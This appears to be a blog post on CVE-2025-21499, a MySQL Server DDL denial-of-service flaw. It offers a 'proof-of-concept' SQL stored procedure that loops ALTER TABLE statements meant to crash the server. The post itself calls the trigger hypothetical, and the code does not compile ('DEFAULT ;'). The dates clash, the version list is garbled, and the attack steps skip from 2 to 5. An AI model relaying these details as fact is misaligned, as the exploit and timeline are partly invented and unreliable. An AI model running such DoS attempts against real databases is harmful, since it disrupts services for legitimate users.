CVE-2025-21499 - Exploiting MySQL Server DDL Vulnerability for Remote Denial-of-Service (DOS)

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Introduction

In June 2024, Oracle disclosed a security hole now tracked as CVE-2025-21499. This flaw affects the Server: DDL (Data Definition Language) component in the MySQL Server product. Specifically, it impacts supported MySQL versions 8.4.3 and earlier and the upcoming 9.1. and prior. A successful attack leveraging this bug lets an authenticated (privileged) attacker repeatedly crash or hang the whole MySQL server instance from afar, making it a critical Denial-of-Service (DOS) threat for organizations relying on MySQL databases.

This post exclusively explains what CVE-2025-21499 is, how it works, how attackers can exploit it, and what you can do to stay protected.

Vulnerability Name: CVE-2025-21499

- Description: High privilege attackers can remotely crash or hang MySQL Server using crafted DDL statements.

Technical Details

According to the Oracle advisory, the flaw resides in the way MySQL’s DDL operations are processed. DDL includes commands like CREATE, ALTER, DROP for databases, tables, and more. If an attacker has valid database credentials with elevated privileges, they can connect over the network, then send a specially crafted DDL command or sequence that leads to an infinite loop, assertion failure, or similar error – crashing the MySQL process or making it unresponsive.

The official Oracle advisory can be found here:
- Oracle Security Advisory for CVE-2025-21499

Root Cause (Simplified)

Though detailed technical specifics are not yet public, evidence suggests that this issue involves improper handling or validation of complex DDL changes. If a user can create, modify, or drop certain objects (like tables, indexes, procedures) with maliciously crafted names, datatypes, or references, the server’s DDL logic can be triggered into a vulnerable program state.

Proof-of-Concept Exploit (PoC)

> WARNING: This snippet is for educational purposes only. Do not use on production servers.

Suppose you have a MySQL user with SUPER or other admin privileges.

PoC: Repeated Server Crash with Crafted DDL

-- Connect to MySQL as an administrative user
-- Example sequence to trigger a potential DDL DoS

-- Step 1: Create a valid table
CREATE TABLE poc_test (id INT);

-- Step 2: Repeatedly execute DDL that abuses the server's DDL handler
DELIMITER $$
CREATE PROCEDURE crash_mysql()
BEGIN
  DECLARE i INT DEFAULT ;
  WHILE i < 100 DO
    -- ALTER with conflicting types or references (hypothetical trigger)
    ALTER TABLE poc_test ADD COLUMN col INT DEFAULT (SELECT MAX(id) FROM poc_test);
    SET i = i + 1;
  END WHILE;
END $$
DELIMITER ;

-- Step 3: Call the procedure to execute maliciously
CALL crash_mysql();

Expected Result:
On vulnerable versions, this quickly exhausts some resource, triggers a bug, or causes the server's DDL process to hang/crash, fully denying service to legitimate users.

> While the exact vectors might vary depending on the MySQL patch level, even simple repetitive DDL under artificial conditions can still bring the server down due to internal hangs.

Attack Scenario

1. Attacker discovers valid admin credentials through phishing, credential stuffing, or insider privilege.
2. Connects over the network (TCP/3306, MySQL protocol).

All database services are offline.

5. The server won't recover until a manual restart, which can repeat as long as the attacker can access the server.

Update Immediately

Apply the latest Oracle patch or upgrade to a fixed release. See MySQL Downloads for updates.

References & Further Reading

- Oracle CVE-2025-21499 Advisory: https://www.oracle.com/security-alerts/
- MySQL Change Log: https://dev.mysql.com/doc/relnotes/mysql/
- About CVSS Scores: FIRST CVSS v3.1 Calculator

Final Thoughts

CVE-2025-21499 shows why even well-defended database servers can be vulnerable if privilege is misused. If you run MySQL, check your version carefully, enforce best access practices, and patch as soon as a fix is available.

Stay safe, and keep your databases healthy!

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Timeline

Published on: 01/21/2025 21:15:14 UTC
Last modified on: 01/23/2025 17:15:23 UTC